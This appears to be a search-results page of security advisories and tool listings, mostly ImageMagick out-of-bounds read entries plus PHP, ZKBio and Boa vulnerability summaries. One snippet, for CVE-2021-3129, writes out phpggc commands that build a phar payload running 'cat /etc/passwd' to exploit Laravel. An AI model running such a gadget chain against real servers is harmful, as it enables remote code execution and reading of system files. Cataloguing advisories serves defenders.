319 matches found
duplicut
Duplicut :scissors: Quickly dedupe massive wordlists, without changing the order...
CVE-2025-25369
CVE-2025-25369: Vulnerabilidad de Cross Site Scripting en ZKTeco ZKBio CVSecurity v.6.4.1 Se descubrió una vulnerabilidad XSS en ZKBio CVSecurity v.6.4.1. Un atacante podría explotar esta vulnerabilidad con privilegios de Template Editor y escalar sus privilegios a administrador. También se...
Astra Linux – Vulnerability in PHP 7.3, PHP 8.1
In PHP versions 8.1. before 8.1.31, and 8.2. before 8.2.26, as well as 8.3. before 8.3.14, a bug in the convert.quoted-printable-decode filter can cause certain data to be read as one byte too much. This can, under certain circumstances, lead to crashes or reveal content from other memory areas...
boa-cve-2009-4496-analysis
CVE-2009-4496 — 防御性漏洞分析 概述 这个仓库记录了对 CVE-2009-4496 的防御性分析，这是与 Boa Web 服务器相关的一个历史漏洞。 本项目的目标是从防御性安全视角审视该漏洞，具体包括： 被动观察公开可用信息； 审阅漏洞文档； 在本地检查历史源代码； 对比存在漏洞的代码与已修正的代码； 评估漏洞的技术成因； 分析修复措施； 评估现有证据的局限性。 未执行任何主动测试、漏洞利用、认证尝试、扫描或对第三方系统的修改。 漏洞摘要 CVE： CVE-2009-4496 CVE 记录标识的受影响软件： Boa 0.94.14rc21 NVD 报告的弱点分类：...
CVE-2021-3129
CVE-2021-3129 root@kitploit: 生成自定义命令的phar包： php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a 进入php命令行环境 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$fp,...
JLSEC-2026-1068 ImageMagick before 7.1.2-26 and 6.9.13-51 contains an information disclosure vulnerability: when...
ImageMagick before 7.1.2-26 and 6.9.13-51 contains an information disclosure vulnerability: when a profile is displayed with the identify command and the profile value is not printable, a single byte at the end of the profile can be printed read past the profile boundary. This behavior occurs whe...
GHSA-HWF3-R46V-5GGX ImageMagick: Information Disclosure when printing profiles with debug enabled
When a profile is displayed with the identify command and the value is not printable a single byte at the end of the profile can be printed...
ImageMagick: Information Disclosure when printing profiles with debug enabled
When a profile is displayed with the identify command and the value is not printable a single byte at the end of the profile can be printed...
Linux Distros Unpatched Vulnerability : CVE-2026-61862
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ImageMagick before 7.1.2-26 and 6.9.13-51 contains an information disclosure vulnerability: when a profile is displayed with the identify command and the profil...
SUSE CVE-2026-61862
ImageMagick before 7.1.2-26 and 6.9.13-51 contains an information disclosure vulnerability: when a profile is displayed with the identify command and the profile value is not printable, a single byte at the end of the profile can be printed read past the profile boundary. This behavior occurs whe...
Out-of-bounds Read
Overview Magick.NET-Q16-arm64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q8-arm64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q16-HDRI-OpenMP-x64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this...
Out-of-bounds Read
Overview Magick.NET-Q8-AnyCPU is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q8-OpenMP-x64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package ar...
Out-of-bounds Read
Overview Magick.NET-Q8-x86 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q8-x64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q16-x86 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q16-HDRI-x86 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package are...
Out-of-bounds Read
Overview Magick.NET-Q16-HDRI-arm64 is a Magick.NET allows you can use ImageMagick without having to install ImageMagick on your server or desktop. More information about specific builds see the official docs https://github.com/dlemstra/Magick.NET/tree/main/docs Affected versions of this package a...